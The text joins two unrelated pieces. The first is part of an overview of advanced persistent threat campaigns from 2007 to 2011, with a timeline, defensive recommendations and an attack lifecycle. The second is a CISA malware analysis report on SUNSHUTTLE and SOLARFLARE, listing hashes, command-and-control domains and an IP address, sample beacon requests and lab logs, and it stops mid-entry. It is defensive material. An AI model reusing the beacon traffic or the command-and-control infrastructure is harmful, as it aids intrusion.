US Department of Defense The US Department of Defense suffered a significant compromise of both unclassified and classified military computer networks after a foreign intelligence agency placed malicious software on a USB flash drive. The device infected a US military laptop upon insertion. The malicious code then propagated through US networks infecting numerous computers. ### September 2008 – Office of His Holiness the Dalai Lama A legitimate email was intercepted in transit to the Office of His Holiness the Dalai Lama (OHHDL) and the attachment replaced with a file containing malicious content. This attack appeared to be part of a concerted effort in which hackers used social engineering techniques to gain access to the OHHDL computer network. The hackers appear to have obtained user passwords through the intrusion and later used these to remotely access the OHHDL mail server. ### 29 March 2009 – GhostNet Researchers released a report detailing a cyber espionage operation dubbed ‘GhostNet’ which infiltrated at least 1295 computers in 103 countries, including those belonging to embassies, South Asian governments and the Dalai Lama. ### June 2009 – Stuxnet First known targeting of an unnamed organisation occurred using the Stuxnet worm. The organisation was again targeted in March and April 2010. Numerous other organisations, primarily in Iran, were also targeted. The worm appears to have been part of a coordinated effort to reprogram a specific industrial control system, such as a gas pipeline or power plant, likely located in Iran. ### November 2009 – Night Dragon Starting in November, coordinated covert and targeted cyber attacks were observed against global oil and petrochemical companies. These attacks, labelled as ‘Night Dragon’, used socially engineered emails along with Microsoft Windows operating system vulnerabilities to gain access to computers. ### 15 March 2011 – Comodo Affiliated Root Authority A Comodo affiliated digital certificate Root Authority (RA) was compromised resulting in the issue of fraudulent SSL certificates for popular domains: mail.google.com, www.google.com, login.yahoo.com, login.skype.com, addons.mozilla.org, login.live.com and global trustee. ### 17 March 2011 – RSA RSA released a public statement advising that they were recently targeted via socially engineered emails containing malicious attachments that exploited a zero day Adobe Flash vulnerability. Hackers successfully gained access to the network and exfiltrated information including that related to RSA’s SecurID two-factor authentication products. ### Mid April 2011 – Oak Ridge National Laboratory Oak Ridge National Laboratory was targeted with socially engineered emails tailored to appear as though they were from the laboratory’s Human Resources department. The emails tricked recipients into downloading malicious software that exploited a zero day vulnerability in Internet Explorer. ### 21 May 2011 – Lockheed Martin Lockheed Martin detected a cyber attack on its computer network. The company’s information security team took aggressive actions to protect the systems. No exfiltration of data is known to have occurred. ## The Current Cyber Threat Environment APTs have targeted governments around the world, global oil, energy, and petrochemical companies, the mining sector, financial institutions, military contractors, the science and technology sector, dissidents, critical infrastructure and likely many additional sectors. They have also targeted technology companies that could enable future targeting. The Operation Aurora attacks, the Comodo affiliated RA compromise and the RSA attack set a precedent for such targeting. The Aurora attacks appear to have been carried out to provide the attacker with source code and other information that may allow them to develop zero day exploits and rootkits for use on their targets. The certificates generated in the Root Authority attack would likely be of use for future state-driven attacks. The attack against RSA appears to have been conducted to gather sensitive information to facilitate attacks against organisations that use RSA security tokens for two-factor authentication; including US defence contractors who work on classified projects. Based on the trend toward the targeting of enabling companies and the increasing popularity of virtualisation, VMware Inc. and other virtualisation companies seem likely to be among companies targeted by APTs in the future. If unknown vulnerabilities in VMware software were discovered it could have far reaching ramifications, affecting the security of other companies. Especially given the increased popularity of cloud computing which often uses virtualisation to separate data belonging to different customers. It could also make it easier for malicious software to escape from virtualised analysis platforms and infect connected systems. Even though details of APT attacks are scarce in the media, the released information is quite informative. Firstly, it tells us that humans are often the weakest link in the security chain and that users need to be better educated on the threat from social engineering. Socially engineered email campaigns are the most common social engineering technique used but not the only one. ## Improving Organisational Resilience To improve resilience to APTs organisations should employ good security practices and policies including those described below. ### Information Centric Security Adopt an information centric approach to security by applying multiple layers of security, affording the most sensitive information the most protection. If possible store sensitive information offline, or on a separate restricted access network. ### Regular Patching Regularly patch operating systems and applications including document viewers (e.g. Microsoft Office, Adobe Acrobat) and web browser plugins. ### User Education Educate users on the threat from socially engineered emails and other forms of social engineering. Encourage users to notify IT staff of suspicious events. ### Access Control Employ two-factor authentication where possible, particularly on Virtual Private Networks. Restrict user access using least privilege methodology, encourage good password control, regularly audit access logs, and review access levels. ### Sender Policy Framework Employ the Sender Policy Framework to help protect against spoofed emails. ### USB Drive Control Restrict which USB drives can be used on corporate networks and develop policies on permitted usage and minimum encryption requirements. ### Intrusion Analysis Conduct intrusion analysis (both host-based and network based) to detect anomalous activity. ### Network Access Restrictions Restrict which computers can be placed on the corporate network via wired, wireless, and remote access methods. ## Commonalities Between Reported Attacks | TARGET | TARGETING METHODS | SOCIAL ENGINEERING? | ZERO DAYS? | DATA STOLEN? | CONFIRMED BY TARGET? | |--------|-------------------|---------------------|-------------|---------------|-----------------------| | Oak Ridge National Laboratory | Socially engineered emails | Yes | Yes | Yes | Yes | | Los Alamos National Laboratories | Socially engineered emails | Yes | Yes | Yes | Yes | | GhostNet (Various Targets) | Socially engineered emails | Yes | Yes | Some targets | | | US Department of Defense | Infected USB drive | | Yes | Yes | | | Stuxnet | Infected USB drive | | Yes | Some targets | | | Night Dragon (Various Targets) | Socially engineered emails | Yes | Yes | Some targets | | | Google | Socially engineered emails | Yes | Yes | Yes | Yes | | Operation Aurora (Various Targets) | Socially engineered emails | Yes | Yes | Yes | Some targets | | The French Finance Ministry | Socially engineered emails | Yes | Yes | Yes | | | Canadian Government | Socially engineered emails | Yes | Yes | Yes | | | Australian Government | | Yes | No | | | | Comodo Affiliate Root Authority | | Yes | Yes | | | | RSA | Socially engineered emails | Yes | Yes | Yes | Yes | | Lockheed Martin | VPN? | No | No | Yes | | | L-3 Communications | VPN? | No | No | | | | Northrop Grumman | VPN? | No | No | | | | International Monetary Fund | | Yes | Yes | | | ## Anatomy of an Attack The most common attack vector observed is socially engineered emails frequently, but not always, used in combination with zero day exploits. While most victims do not provide many details about the attacks against them, RSA is one of the few that has provided quite detailed information. The attack methodology observed in the case of RSA appears to be quite typical. The distinct attack phases are shown in simplified form. ### Reconnaissance The attacker passively gathers information about their target to identify the best targeting method. This may include research into the location of the target’s offices, the location of their computers, technologies used by the company, how they communicate, their employees, and their employees’ contact details. ### Preparation The attacker actively prepares for the attack, developing and testing appropriate tools and socially engineered emails, determining which email account to send socially engineered emails from, acquiring necessary hardware (such as USB flash drives), determining what infrastructure to use to launch the attack and for command and control communications, registering for and setting up necessary accounts (email addresses, callback domains etc.) and conducting testing. ### Targeting The attacker launches their attack and monitors for signs of compromise or failure. The sender may attempt to connect remotely to a server to exploit a vulnerability, strategically place a USB flash drive or give one to a target, send socially engineered emails and if possible, check for bounce back notifications, monitor command and control infrastructure for beaconing activity from the victim, try to connect inbound to the potentially compromised computer, or await feedback from an insider. ### Data Gathering Once an attacker has identified information of interest they will try to gather this information and exfiltrate it. They may do this using a ‘smash and grab’ approach, trying to exfiltrate the desired data before it is detected, or they may opt for a ‘low and slow’ approach in which they exfiltrate the data in small quantities over a longer period. ### Further Access Once an attacker has successfully gained access to a computer network they will usually try to identify where in the network they are and move laterally within the network to access data of interest and to install additional backdoors. This will usually require a return to step 2 (Preparation) and step 3 (Targeting), the upload of tools and malicious software, privilege escalation, network enumeration and identification of vulnerable hosts on which to install backdoors. ### Maintenance Once an attacker has gained access to a network for information gathering purposes they will usually attempt to maintain their access. This may involve minimising the amount of malicious activity they generate on the network to avoid detection, periodically communicating with backdoors on the network to ensure they are working as intended, and making changes as appropriate. ## References - AAP. (2010, April 19). Mining firms hit by China cyber attack. - AFP. (2011, March 07). French government comes under cyber attack. - Anastasio, M. (2007, December 06). Los Alamos also hacked. - Arquila, J. (2003, March 04). Interviews - John Arquilla. - Benson, S. (2011, March 29). Hackers log in to federal MPs' emails. - Borders, K. (2007, July 19). Building a Threat Model: Hackenomics (Part 2 – The Cost of Hacking). - Central Intelligence Agency. (2007, May 02). Annual Report 1999 Counterintelligence. - Comodo. (2011, March 31). Comodo Report of Incident. - Coviello, A. (2011, March 17). Open Letter to RSA Customers. - Coviello, A. (2011, June). Open Letter to RSA SecurID Customers. - Drummond, D. (2010, January 01). A new approach to China. - Farlliere, N., O Muchu, L., & Chien, E. (2011, February). W32.Stuxnet Dossier. - gHale. (2011, June 03). Second Defense Contractor Targeted. - Goodin, D. (2007, December 07). Top-secret US labs penetrated by phishers. - Kaplan, J. (2011, June 01). Exclusive: Northrop Grumman May Have Been Hit by Cyberattack, Source says. - Kobie, N. (2011, March 29). Lone Iranian claims credit for Comodo certificate hack. - Lockheed Martin Corporation. (2011, May 28). Lockheed Martin Customer, Program and Employee Data Secure. - Lynn III, W. J. (2010, October 04). Defending a New Domain: The Pentagon's Cyberstrategy. - McAfee Foundation Professional Services and McAfee Labs. (2011, February 10). Global Energy Cyberattacks: "Night Dragon". - Mehnle, J. (2010, April 17). Sender Policy Framework: Introduction. - Moyanhan, M. (2011, February 14). The Price of a Zero Day Exploit. - Munger, F. (2011, April 19). Lab halts Web access after cyber attack. - Nagaraja, S., & Anderson, R. (2009, March). The snooping dragon: social-malware surveillance of the Tibetan movement. - Oak Ridge National Laboratory. (2007). Potential Identity Theft. - Postmedia News. (2011, June 03). Classified information accessed during cyber attacks on federal departments: Report. - Poulsen, K. (2011, May 31). Second Defense Contractor L-3 'Actively Targeted' With RSA SecurID Hacks. - Reddy, S., Gorman, S., & Perez, E. (2011, June 13). IMF Mum on Details of Network Cyberattack. - Rivner, U. (2011, April 01). Anatomy of an Attack. - Sanger, D., & Markoff, J. (2011, June 11). I.M.F Reports Cyberattack Led to 'Very Major Breach'. - Secdev. (2009, March 29). Tracking GhostNet: Investigating a Cyber Espionage Network. - Snodgrass, R. (2007, December 14). Cyber attack on LANL outs personal info. - The Guardian. (2011, June 13). IMF hit with serious state-sponsored cyber attack. - The Washington Times. (2008, June 12). Hacking on Hill traced to China. - U.S Office of Counterintelligence. (2011, June 14). Stuxnet Worm. - Walid Berissoul et agencies. (2011, March 07). Bercy: la cyber-attaque visait le G20. - Zetter, K. (2010, January 14). Google Hack Attack Was Ultra Sophisticated, New Details Show.
# MAR-10327841-1.v1 – SUNSHUTTLE **Notification** This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed. For more information on the Traffic Light Protocol (TLP), see [us-cert.cisa.gov/tlp](http://www.us-cert.cisa.gov/tlp). ## Summary ### Description This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF) of U.S. Cyber Command. This report provides detailed analysis of several malicious samples and artifacts associated with the supply chain compromise of SolarWinds Orion network management software, attributed by the U.S. Government to the Russian SVR Foreign Intelligence Service (APT 29, Cozy Bear). CISA and CNMF are distributing this MAR to enable network defense and reduce exposure to malicious activity. This MAR includes suggested recommendations and recommended mitigation techniques. This report analyzes eighteen (18) files categorized by their associative behavior and structured configurations. Seven (7) of the analyzed files are executables that attempt to connect to hard-coded command and control (C2) servers using Hypertext Transfer Protocol Secure (HTTPS) on port 443 and await a response upon execution. - Three (3) executables written in Golang (Go) and packed using the Ultimate Packer for Executables (UPX) were identified by the security community as SOLARFLARE malware. One (1) of which was unpacked and included in this report. - Four (4) executables written in Go were identified by FireEye as SUNSHUTTLE. Two (2) of which were unpacked and included in this report. - One (1) file is a text file that appears to be a configuration file for a SUNSHUTTLE sample. - Six (6) files are Visual Basic Script (VBScript) files designed to add the Windows registry keys to store and execute an obfuscated VBScript to download a malicious payload from its C2 server. The VBScripts were identified as MISPRINT/SIBOT. - One (1) file was identified as a China Chopper webshell server-side component. The webshell was observed on a network with an active SUNSHUTTLE infection and would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE infection was remediated. ## Submitted Files (14) - `0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9` (finder.exe) - `0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116` (owafont.aspx) - `4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec` (bootcats.exe) - `6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd` (f3.exe) - `7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb` (rundll32registry_createremote...) - `88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07` (prnmngrz.vbs) - `94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45` (Lexicon.exeUnPacked) - `acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66` (rundll32registry_schtaskdaily....) - `b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8` (Lexicon.exe) - `cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c` (prndrvrn.vbs) - `e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15` (rundll32file_schtaskdaily.vbs) - `ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def` (SchCachedSvc.exe) - `f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c` (WindowsDSVC.exe) - `f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2` (f2.exe) ## Additional Files (4) - `a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f` (Final_vbscript.vbs) - `bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df` (runlog.dat.tmp) - `d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d` (finder.exe_Unpacked) - `fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836` (WindowsDSVC.exe_Unpacked) ## Domains (5) - eyetechltd.com - megatoolkit.com - nikeoutletinc.org - reyweb.com - sense4baby.fr ## IPs (1) - 185.225.69.69 ## Findings ### 0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9 **Tags**: trojan **Details**: - **Name**: finder.exe - **Size**: 1940480 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: 1d97d76afefaa09556683c2fcd875baa - **SHA1**: 90651ee3dde5fe80ec52f13c487715bb5f04f6b6 - **SHA256**: 0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9 - **SHA512**: effca75ac9103f23006efa7fbb8e3fea2a1f426f63d0153bbce286c0262d5a470e206beb0fb6a67ec963fddbd556790bcd0432a96aa8b7ce - **ssdeep**: 49152:o7fPmMDelNw0jQRtsBbsj3IpWrmxkpe14yn8:UWrQRtMpge2yn - **Entropy**: 7.873884 **Antivirus**: - BitDefender: Gen:Variant.Bulz.284134 - Emsisoft: Gen:Variant.Bulz.284134 (B) - Ikarus: Trojan.Win64.Rozena - Lavasoft: Gen:Variant.Bulz.284134 - Microsoft Security Essentials: Trojan:Win64/GoldFinder.A!dha **YARA Rules**: No matches found. **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: e58ab46f2a279ded0846d81bf0fa21f7 **PE Sections**: - **MD5**: 5c227744852a6ceb12cdb8d238e6d89a (header) - Raw Size: 512 - Entropy: 2.467962 - **MD5**: d41d8cd98f00b204e9800998ecf8427e (UPX0) - Raw Size: 0 - Entropy: 0.000000 - **MD5**: 9f091240d6d7fcdcffa6dae025085ffd (UPX1) - Raw Size: 1939456 - Entropy: 7.874501 - **MD5**: 50620caa4cae52ec3a75710e0140e092 (UPX2) - Raw Size: 512 - Entropy: 1.661240 ### Relationships - `0affab34d9...` Contains `d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d` **Description**: This file is a 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. The executable is executed, the application will unpack and execute `d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d` in memory. ### d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d **Tags**: trojan **Details**: - **Name**: finder.exe_Unpacked - **Size**: 4947968 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: 86e0f3071c3b3feecf36ea13891633fb - **SHA1**: 9f9f3b73e586e376fd81c6bdb75476fc3d37789c - **SHA256**: d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d - **SHA512**: a3cb2771a7fe2419621865230cecf4105e5323e9e99edc7f863b7dea9db0646647b2a83c9e5b99ef0c92a58d890c1fc18069d24f3d3704 - **ssdeep**: 49152:F3oUWn0hg/SlNpppOgFq/ANwhtB7ZUgB2SMS9AOE1w5ZRXR5/lTpJ6JwBS5g+A:qpx6bcVywhtB1Tx57X+A - **Entropy**: 5.958753 **Antivirus**: - Ahnlab: Trojan/Win64.Cobalt - BitDefender: Gen:Variant.Bulz.284134 - Emsisoft: Gen:Variant.Bulz.284134 (B) - Ikarus: Trojan.Crypter - Lavasoft: Gen:Variant.Bulz.284134 - Microsoft Security Essentials: Trojan:Win64/GoldFinder.A!dha **YARA Rules**: - rule CISA_3P_10327841_01: SOLARFLARE trojan - rule FireEye_21_00004531_01: SUNSHUTTLE backdoor - rule FireEye_21_00004531_02: SUNSHUTTLE backdoor **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: 91802a615b3a5c4bcc05bc5f66a5b219 **PE Sections**: - **MD5**: c986ba8e4a156864e2afff2732285838 (header) - Raw Size: 1536 - Entropy: 1.243612 - **MD5**: 4a26b87fa44a548f2d6d6a3d2cf09fb2 (.text) - Raw Size: 2284544 - Entropy: 5.911172 - **MD5**: 46e1b5a3734e729d9bdce0a14120c910 (.rdata) - Raw Size: 2400768 - Entropy: 5.329403 - **MD5**: 952ce42dcbf61c3fac54c2c958e0c551 (.data) - Raw Size: 259072 - Entropy: 5.567652 - **MD5**: 52887da2b4d17327b2d67732484c11c2 (.idata) - Raw Size: 1536 - Entropy: 2.877795 - **MD5**: 07b5472d347d42780469fb2654b7fc54 (.symtab) - Raw Size: 512 - Entropy: 0.020393 ### Relationships - `d8009ad960...` Connected_To `185.225.69.69` - `d8009ad960...` Contained_Within `0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9` **Description**: The file is a 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "finder.exe" (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9). The application is written in the Golang (Go) open-source language designed to detect servers and network redirectors such as network security devices between the compromised systems and the C2 server. When executed, it connects to its C2 server using HTTPS on port 443. Once the connection is established, it will log all of the HTTP request and response information from plaintext into "%current directory%\loglog.txt". The malware uses the following hard-coded labels to store the request and response information in the log file: - **Target**: The C2 URI - **StatusCode**: HTTP response/status code - **Headers**: HTTP response headers and the values - **Data**: Data from the HTTP response received from the C2 Displayed below are sample HTTP requests sent: ``` --Begin sample request-- GET / HTTP/1.1 Host: 185.225.69.69 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip --End sample request-- ``` ### Screenshots **Figure 1** - Screenshot of the log file. ## 185.225.69.69 **Tags**: command-and-control **URLs**: - hxxps[:]//185.225.69.69/live **Ports**: - 443 TCP **HTTP Sessions**: ``` GET / HTTP/1.1 Host: 185.225.69.69 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip GET /live/ HTTP/1.1 Host: 185.225.69.69 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Connection: Keep-Alive Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114 Referer: www[.]google.com Accept-Encoding: gzip ``` ### Whois ``` inetnum: 185.225.68.0 - 185.225.71.255 netname: HU-XET-20171012 country: HU org: ORG-XK7-RIPE admin-c: XL650-RIPE tech-c: XL650-RIPE status: ALLOCATED PA mnt-by: RIPE-NCC-HM-MNT mnt-by: hu-xet-1-mnt created: 2017-10-12T13:51:43Z last-modified: 2017-10-12T13:51:43Z source: RIPE organisation: ORG-XK7-RIPE org-name: XET Kft. country: HU org-type: LIR address: Fraknó u. 8/B 1/4 address: 1115 address: Budapest address: HUNGARY e-mail: [email protected] admin-c: XL650-RIPE tech-c: XL650-RIPE abuse-c: AR43371-RIPE mnt-ref: hu-xet-1-mnt mnt-by: RIPE-NCC-HM-MNT mnt-by: hu-xet-1-mnt created: 2017-10-10T14:51:34Z last-modified: 2020-12-16T12:18:59Z source: RIPE phone: +36702451572 org: ORG-XK7-RIPE address: Fraknó u. 8/B 1/4 address: 1115 address: Budapest address: HUNGARY phone: +36309374590 nic-hdl: XL650-RIPE mnt-by: hu-xet-1-mnt created: 2017-10-10T14:51:33Z last-modified: 2019-10-09T11:32:49Z source: RIPE e-mail: [email protected] ``` ### Relationships - `185.225.69.69` Connected_From `d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d` - `185.225.69.69` Connected_From `fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836` **Description**: Finder.exe (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9) and WindowsDSVC.exe (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c) attempt to connect to this IP address. ### f2.exe **Tags**: trojan **Details**: - **Name**: f2.exe - **Size**: 1940480 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: f67f71503026181c8499b5709b2b51c4 - **SHA1**: e93278e0e1af7fc2f75fe50318fdba7abe2cec0d - **SHA256**: f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2 - **SHA512**: dc2b788118c5733df1f9addad0d1634eb4d150521a042f0a09726a73cbf3b7682f5ce7a603ffc41871f54fe03c646529559df795586eb6a5 - **ssdeep**: 49152:+nHBoTLO0y0UvN+4EK4KnQ4Ub9r0/pVXoUz7NPA6Cl:0HEO0qz4KnQJbV+h7NP+ - **Entropy**: 7.874162 **Antivirus**: - BitDefender: Gen:Variant.Bulz.284134 - Emsisoft: Gen:Variant.Bulz.284134 (B) - Ikarus: Trojan.Win64.Rozena - Lavasoft: Gen:Variant.Bulz.284134 - Microsoft Security Essentials: Trojan:Win64/GoldFinder.A!dha **YARA Rules**: No matches found. **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: e58ab46f2a279ded0846d81bf0fa21f7 **PE Sections**: - **MD5**: 657af7f5c4c96b7699b37a285b3bb95d (header) - Raw Size: 512 - Entropy: 2.462581 - **MD5**: d41d8cd98f00b204e9800998ecf8427e (UPX0) - Raw Size: 0 - Entropy: 0.000000 - **MD5**: af51298804473081a36388c4452f0717 (UPX1) - Raw Size: 1939456 - Entropy: 7.874774 - **MD5**: 50620caa4cae52ec3a75710e0140e092 (UPX2) - Raw Size: 512 - Entropy: 1.661240 ### Relationships - `f2a8bdf135...` Connected_To `nikeoutletinc.org` **Description**: This file is a 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F2.exe is a variant of SOLARFLARE/GoldFinder, a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F2.exe checks the network machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F2.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates. Upon execution, it reaches out to the hard-coded domain nikeoutletinc.org over port 443 while also creating a file in its running directory called “loglog.txt.” Upon receiving a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This connection is used for encryption. After running, f2.exe closes and does not have persistence to run itself. This tool is meant to generate innocent-looking traffic to probe the network posture and determine whether the infected host is able to reach out to the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f2.exe sample, a nearly identical file named f3.exe performed the role of reaching out to the C2 domain. ### After unpacking the sample, displayed below are strings of interest: ``` --Begin strings of interest-- hxxps[:]//nikeoutletinc.org/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid port %q after hostinvalid request descriptormalformed HTT chunked encodingname not unique on networknet/http: request canceledno CSI structure available Go build ID: "XoNtlAkjvYqniOio6xGI/0DIub_zdwXYX9I94QTxf/mSa3AXim2woQ8ym8GoD-/H3vqlJigkBWLlKW0U7Eq" --End strings of interest-- ``` Displayed below are loglog.txt contents after running f2.exe in a lab environment to mimic network traffic: ``` 2021/03/17 10:36:35 Target: hxxps[:]//nikeoutletinc.org/ 2021/03/17 10:36:35 StatusCode: 200 2021/03/17 10:36:35 Headers: map[Content-Length:[258] Content-Type:[text/html] Date:[Wed, 17 Mar 2021 14:36:35 GMT] Server:[INetSim HTTP 2021/03/17 10:36:35 Data: 2021/03/17 10:36:35 <html> <head> <title>INetSim default HTML page</title> </head> <body> <p></p> <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p> <p align="center">This file is an HTML document.</p> </body> </html> ``` If no network connection exists the file will contain: ``` 2021/03/17 10:38:46 Get "hxxps[:]//nikeoutletinc.org/": dial tcp 192.168.1.1:443: connectex: No connection could be made because the target mac ``` ### nikeoutletinc.org **Tags**: command-and-control **Whois**: ``` Domain Name: NIKEOUTLETINC.ORG Registry Domain ID: D402200000007305706-LROR Registrar WHOIS Server: whois.namesilo.com Registrar URL: www.namesilo.com Updated Date: 2020-07-28T09:05:28Z Creation Date: 2018-08-22T18:44:46Z Registry Expiry Date: 2021-08-22T18:44:46Z Registrar Registration Expiration Date: Registrar: Namesilo, LLC Registrar IANA ID: 1479 Registrar Abuse Contact Email: [email protected] Registrar Abuse Contact Phone: +1.4805240066 Reseller: Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Registrant Organization: See PrivacyGuardian.org Registrant State/Province: AZ Registrant Country: US Name Server: NS35.HOSTERBOX.COM Name Server: NS36.HOSTERBOX.COM DNSSEC: unsigned ``` ### Relationships - `nikeoutletinc.org` Connected_From `ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def` - `nikeoutletinc.org` Connected_From `f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2` **Description**: f2.exe (f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2) and SchCachedSvc.exe (ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def) attempt to connect to this domain. ### f3.exe **Tags**: trojan **Details**: - **Name**: f3.exe - **Size**: 1939968 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: f50e89488b82622b4dd1a35a599a56ec - **SHA1**: 90b76eb47c0a6a7ccb2017b55cee6df88b55b6bb - **SHA256**: 6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd - **SHA512**: b71b488fac96298ad02158854a5227d60d5f5fa1651be1017b6b0f67289e4935bd83544d6cc7df6d6ab54b4fcf5741556d7b75f5d80a0c0 - **ssdeep**: 49152:BuGmlb/p27ls7+X1PgDd/oGKt4A2sPNrEUxw5acD:Klbh27A+Byd/IQs9Eu - **Entropy**: 7.873962 **Antivirus**: - BitDefender: Gen:Variant.Bulz.284134 - Emsisoft: Gen:Variant.Bulz.284134 (B) - Ikarus: Trojan.Win64.Rozena - Lavasoft: Gen:Variant.Bulz.284134 - Microsoft Security Essentials: Trojan:Win64/GoldFinder.A!dha **YARA Rules**: No matches found. **ssdeep Matches**: No matches found. **PE Metadata**: - **Compile Date**: 1969-12-31 19:00:00-05:00 - **Import Hash**: e58ab46f2a279ded0846d81bf0fa21f7 **PE Sections**: - **MD5**: 4743b4f0244c6163eb4fa96688360cea (header) - Raw Size: 512 - Entropy: 2.464055 - **MD5**: d41d8cd98f00b204e9800998ecf8427e (UPX0) - Raw Size: 0 - Entropy: 0.000000 - **MD5**: 11eafba3f3e1d220182ee43ca3d5c3ca (UPX1) - Raw Size: 1938944 - Entropy: 7.874568 - **MD5**: 50620caa4cae52ec3a75710e0140e092 (UPX2) - Raw Size: 512 - Entropy: 1.661240 **Description**: This file is a 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F3.exe is a variant of SOLARFLARE/GoldFinder, a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F3.exe checks the network machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F3.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates. Upon execution, it reaches out to the hard-coded domain google.com over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This tool is meant to generate innocent-looking traffic to probe the network posture and determine whether the infected host is able to reach the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f3.exe sample, a nearly identical file named f2.exe performed the role of communicating to the C2 domain. ### WindowsDSVC.exe **Tags**: trojan **Details**: - **Name**: WindowsDSVC.exe - **Size**: 2037248 bytes - **Type**: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows - **MD5**: e930633b2d99da097ef2dfff6734afab - **SHA1**: 1199a3bd32d9561b2827ed14a2e7d9093936d12f - **SHA256**: f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c - **SHA512**: 33203c83637d6e97481b4c8977892acaabade1543f5132f247f356bc7a623c481ae76eab2f8282e7b99a4c6417c9c5c422dfba85d33907 - **ssdeep**: 